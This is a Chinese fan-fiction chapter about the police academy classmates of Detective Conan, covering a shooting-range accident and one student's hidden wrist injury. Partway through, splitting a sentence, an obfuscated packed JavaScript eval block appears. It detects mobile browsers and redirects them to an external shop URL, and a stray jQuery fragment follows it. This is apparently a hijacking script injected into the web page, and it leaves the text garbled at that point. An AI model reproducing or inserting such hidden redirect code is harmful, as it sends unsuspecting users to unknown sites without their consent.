警校的档案室总是弥漫着旧纸张和灰尘的味道。阳光斜照进来，能看见空气中浮动的微尘。
“松田……”降谷零低声念出档案上的名字，想起了那个卷发同期提起父亲时瞬间阴郁的表情。
里面记载着一场职业拳击赛的意外、误判、舆论暴力，以及一个拳手职业生涯的终结。文字冰冷，但足以拼凑出一个家庭的崩塌和一个少年从此对“警察系统”产生的深刻不信任。
“原来是这样。”降谷零关掉电脑页面。他理解了松田阵平那种尖锐的敌意从何而来——那不是针对个人，而是针对一个曾经辜负了他父亲的体系。
想着想着，他有些出神。
“zero，”诸伏景光的声音将他拉回现实，“你还在想森川的事，对吗？”
降谷零没有否认。上次餐厅案件森川和也的表现太过异常——近乎本能的急救反应，还有最后谈及医学时眼中一闪而过的痛苦。那不只是一个“不堪学业重负的医学生”该有的样子。
“他的档案，”降谷零点击搜索，“也不知道能不能找到。”
一切顺利。
森川和也的记录比想象中更少。前半部分很普通：学业记录，医学部的录取通知，甚至有几张优秀实习生的评价。转折点出现在四年前——
母亲森川玲子，死于一场住宅火灾。调查报告结论是电路老旧导致的意外。
里面补充有几张现场照片，火光吞噬了普通的二层民居。降谷零的指尖在“独生子森川和也当时在外参加集训，未能赶回”这行字上停顿。
火灾之后，森川的学业记录出现了大片空白，然后是近乎断崖式的成绩下滑，最终是主动退学的申请。
再之后，就是警校的入学资料。
“父亲呢？”诸伏景光问。
降谷零往前翻，在个人家庭关系栏看到一行更简短的记录：“父亲职业不详。于森川和也七岁时失踪，半年后森川和也报案，警方记录为‘单方面离家，原因不明’。”
一个失踪的父亲，一个死于意外的母亲。一个在两次失去后，放弃了原本前途光明的医学道路，转而报考警校的孩子。
“hiro，”降谷零看向幼驯染，“你怎么想？”
诸伏景光的目光落在“火灾”和“失踪”这两个词上，蓝色的眼睛里有什么情绪缓慢沉淀：“动机可以理解。但……他的医学水准，不像是因为消沉就轻易放弃的人。除非……”
“除非有更直接的原因，让他无法再继续。”降谷零接话。
两人沉默了片刻。降谷零将档案仔细还原，放回柜中：“要去上课吗？”
“你先去吧，zero。”诸伏景光温和道，“我再看看。”
猫眼青年坐在电脑前，没有再去动森川的档案，而是调出了另一份档案——它来自多年未破的悬案卷宗。
“长野县夫妇被杀害事件”。
降谷零靠在门外，最终只是很轻地叹了口气。阳光移动，将他倚在柜边的影子拉得很长。
下午的射击训练场，枪声此起彼伏。
降谷零的射击成绩一如既往的出色，弹孔密集地簇拥在靶心。鬼冢教官难得地点头：“不错，保持这个水准。”
森川在旁边偷听，刚好听见了毛利小五郎的名字。松田阵平在旁边嗤笑一声，摆弄着手里的左轮手枪，显然对“和侦探比较”这种说法不以为然。
但众人的目光很快被另一侧的森川和也吸引。
他的射击姿势很奇怪——双手持枪，但两只手的用力方式看起来很不协调，好像左手在刻意承担更多重量，而右手的动作十分僵硬。
“森川，”鬼冢教官走过去，看了看他的靶子。子弹散布虽然都在有效范围内，但散布范围很大。他皱了皱眉，“手腕放松，肩膀不要耸。你太紧张了。”
“是，教官。”森川和也尝试调整，但动作依然有种说不出的别扭。
降谷零走到他旁边自己的射击位，一边装填子弹，一边用余光观察。几次击发后，他看出了问题所在：
森川和也用右手扣扳机时，用的不是食指指腹，而是中指关节发力，枪口在击发瞬间会被手指的力度轻微地扭转到左下方。
这不是紧张，更像是习惯或者限制。
萩原研二也凑了过来，笑嘻嘻地说：“小森川，姿势不对哦～来，研二酱教你。”他没等森川拒绝，就自然地站到他侧后方，伸手去调整他的手腕角度。
就在萩原的手指碰到森川右手手腕内侧时，他的动作顿住了。
隔着一层薄薄的布料，他摸到了凹凸不平的疤痕组织。范围不小，位置正在手腕发力的关键处。
森川的身体几不可察地僵了一下。
“森川，”萩原研二的声音低了，笑意还在，但认真了许多，“你的手……”
“以前受过点伤。”森川迅速抽回手，语气轻松，“不碍事，就是有点使不上劲，所以习惯用两只手稳一点。”
“什么伤能留下这种……”萩原的话没说完。
“这破枪怎么回事？”
松田阵平的疑问打断了他们。只见他盯着自己那把左轮手枪，真诚的疑问：“感觉准星有问题啊。”
“松田！”鬼冢教官警告，“自己水平不够就不要推脱是枪的问题，警校的枪都是统一配置的。”
再转身，松田阵平已经说着什么“我检查一下”，干脆利落地拆解手枪了。他的手指快得几乎出现残影，几秒钟内，一把完整的左轮就变成了一桌零件。
鬼冢教官额头爆出青筋：“松田阵平！谁允许你在训练时间擅自拆卸配枪？”
“不然怎么知道它为什么不准？”松田头也不抬，仔细检查着每个部件，“这种枪可是很容易出问题的，大概率是被摔过。”
萩原研二笑眯眯地搭在森川和也身上：“小阵平的老毛病又犯了，他超爱拆解这些东西的——”
就在这时，训练结束的哨声响了。
“射击训练到此结束了，所有人验枪退弹，归还装备！”鬼冢教官吼道，“松田，你给我站在那里！
众人纷纷操作，松田阵平也很不服地站在原地。
然而，就在教官逐一清点回收的子弹时，他的脸色变了。
“少了一颗。”鬼冢教官的声音冷了下来，目光扫过所有人，“谁干的？”
训练场一片寂静，有人把目光移到松田阵平身上。
“怀疑我？”松田阵平冷笑，“我可是归还了所有的弹壳。”
眼看两个人又要吵起来，伊达航向前一步笑道：“好了好了，给我这个班长一点面子。刚才训练流程我们都遵守了规定。子弹可能是在某个环节意外遗失的。请给我们一点时间，我们一定能找到。”
鬼冢教官盯着他看了几秒，又看了看其他几人——降谷零面无表情，诸伏景光眼神沉稳，萩原研二举起手笑得无辜，松田阵平一脸不耐但没反驳，森川和也则微微蹙眉，似乎在回忆什么。
“……好，”鬼冢教官最终说，“伊达，你负责。”
他还想说些什么，但一旁负责维修屋顶的工人打断了鬼冢八藏的话。眼看着教官和工人离开，森川和也皱紧了眉。
不会这么巧吧……？
但是，但是这也太巧了！刚好子弹消失，刚好有一把枪的零件，刚好教官被工人叫走。
不发生点什么反而不合逻辑了。
“不可能啊，”萩原研二蹲在松田刚才拆枪的位置附近，“小阵平拆装的时候我一直看着，没有子弹弹出来。”
松田阵平烦躁地抓了抓头发：“我都说了我退弹退干净了！”
森川看着他们，后退了几步，还是选择跟着教官离开。
……
就在降谷零和松田阵平争论时，异变突生。
射击场上方的屋顶破开，维修工人掉了下来，鬼冢教官为了救维修工人跟着跳下去，安全绳在空中甩出柔软的弧度，恰好套住了鬼冢八藏的脖子。
借着是掉落的工具箱，眼看它就要砸到空中的两个人，旁边突然伸出一只手——森川和也跳出来，用手臂挡住沉重的箱子，硬生生改变了它的运动轨迹！
工具箱擦着鬼冢教官的肩膀砸在地上，鬼冢教官双手抓住勒住颈部的绳索，脸瞬间涨红，双脚离地。工人不知发生了什么，被安全绳吊着晕了过去，不知生死。
森川和也落在地上，看见伊达航指挥着几个人开始施救。
手枪、子弹、射击。
伊达航和诸伏景光已经冲到了正下方。伊达航猛地蹲下：“景光，踩我肩膀！”诸伏景光毫不犹豫地踩上去，伊达航怒吼一声站起，将景光托到最高。景光伸手，刚好够到鬼冢教官的鞋底，用尽全力向上托举，缓解颈部的拉力。
森川和也有些恍惚，像做梦一样看着松田阵平拼好枪，萩原研二诈出偷藏子弹的同学。那颗黄铜色金属落在降谷零手里，如同带着使命一般飞离枪口，穿过绳索。
鬼冢教官和工人落了下来，被其他同学接住。
森川和也冲过去，单膝跪在鬼冢教官身边，快速检查：“颈部有勒痕，无开放性损伤，呼吸稍急促，脉搏快而有力……景光，帮我把教官的头颈固定在这个位置。”
诸伏景光立刻配合。森川用武装带和从随身带着的急救包里拿出的绷带，熟练地做了一个临时颈托。
鬼冢教官咳嗽着，脸色慢慢恢复正常。他看着围在自己身边、气喘吁吁却满眼关切的六个学生，又看了看地上那颗刚从萩原研二手里掉出来的子弹，最后目光落在降谷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189135|197044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
零还冒着淡淡硝烟的枪口上。
“……”他张了张嘴，最终只是重重叹了口气，“一群……乱来的家伙。”
当天晚上，宿舍楼的天台。
森川和也靠着栏杆，看着东京稀疏的星空。手腕上下午被萩原触碰过的地方，似乎还在隐隐发烫。
也可能是被工具箱砸的。
脚步声传来。萩原研二拿着两罐饮料，走到他身边，递过一罐。
“谢了。”森川接过。
两人沉默地喝了一会儿。晚风吹过，带着初夏的微热。
“你的手，”萩原研二终于开口，声音很轻，没有白天的嬉笑，“能给我看看吗？”
森川动作顿住。
“今天下午我摸到了。”萩原看向他，眼神里是难得的认真和不容回避的关切，“那不是小伤会留下的疤。小阵平拆卸机械时经常受伤，我见过各种伤口愈合的样子。你那个……很深，而且范围很大，伤到了肌腱，对吗？”
森川和也沉默了很久，久到萩原研二以为他不会回答了。
然后，他慢慢拉起右边作训服的袖子，露出手腕。
即使是在昏暗的光下，那些疤痕也清晰可见——横向的，狰狞的，横贯了整个手腕内侧。疤痕组织增生明显，颜色比周围皮肤深得多，可以想象当初伤口的深度和严重程度。
萩原研二的呼吸微微一滞。
“四年前，”森川的声音平静得没有波澜，仿佛在说别人的事，“我母亲那场火灾……我赶回去的时候，火已经很大了。消防员拦着不让进，说快塌了。”
他停顿了一下，灌了一口饮料。
“我没听。冲进去了。在二楼卧室找到她的时候，房梁正在往下掉。我推开她……自己的右手，被落下来的金属窗框砸中，然后被倒下的衣柜压在了下面。”
萩原研二握紧了手中的易拉罐。
“烧灼伤，复合型碾压伤，肌腱断裂，多处关节损伤。”森川笑了笑，那笑容很淡，“在医院躺了三个月，做了四次手术。命保住了，手也保住了，但是……再也恢复不到从前了。握力只有以前的七成，做细致动作时手指会抖，中指和无名指的联动也有问题。”
他放下袖子，遮住了伤疤。
“所以不是弃医从警。”他看向远处闪烁的城市灯火，“是无法再继续从医。拿不了手术刀，做不了精密缝合，连长时间握持器械都做不到……一个不能再上手术台的医学生，还有什么意义呢？”
萩原研二想说可以做其他科室，想说医学不止外科，但看着森川侧脸上那种平静的，像是接受了某种事物结束的神情，所有安慰的话都堵在了喉咙里。
他最终只是伸手，用力拍了拍森川的肩膀。
“至少，”萩原研二努力让声音听起来轻松些，“你现在开枪用的是两只手，比别人稳。”
森川愣了一下，随即真的笑了出来：“……这算什么安慰啊。”
“这是事实嘛。”萩原研二也笑了，“而且今天多亏了你，教官的脖子才没二次受伤。不能用手术刀救人，但能用其他方式保护人——这不就是你现在在做的事吗？”
森川看着他，良久，轻轻点了点头。
“谢了，萩原。”
第二天早晨，在去训练场的路上，萩原研二将昨晚的谈话挑重点告诉了降谷零。
“……所以他不是主动放弃，而是被迫离开。”降谷零听完，沉吟道，“但档案里没有记载他冲进火场，也没有手部重伤的详细医疗记录，只提到了火灾后身心受创，健康状况影响学业。”
“档案可以修改或不记录细节，”诸伏景光轻声说，“尤其是，如果当事人或家属不希望某些事情被详细记载的话。”
“问题就在这里。”降谷零说，“一场意外火灾，儿子为救母亲重伤导致职业生涯终结——这本身就是一个足够悲惨但也完整的故事。为什么森川要隐瞒手的真实情况，而用讨厌医学这种幌子？除非……”
“除非火灾本身，或者他受伤的细节，有他不愿意让人深究的部分。”松田阵平接道。
四个人沉默地走着。前方，森川和也正和伊达航说着什么，侧脸上带着有些散漫的笑容，完全看不出昨夜的沉寂。
松田阵平快走几步追上了前面的伊达航和森川，似乎随口问了森川和也一句什么，森川摆了摆手，两人便没再继续话题。
萩原研二看着松田和森川并肩走着的背影，忽然说：“小阵平那家伙，其实早察觉到了吧。关于森川和也。”
“啊。”降谷零应了一声。
“小和也藏着很多事情呢。”萩原研二评价，“像小景光一样，是吧？”
突然被cue的景光：“……”
这个萩原研二也太敏感了！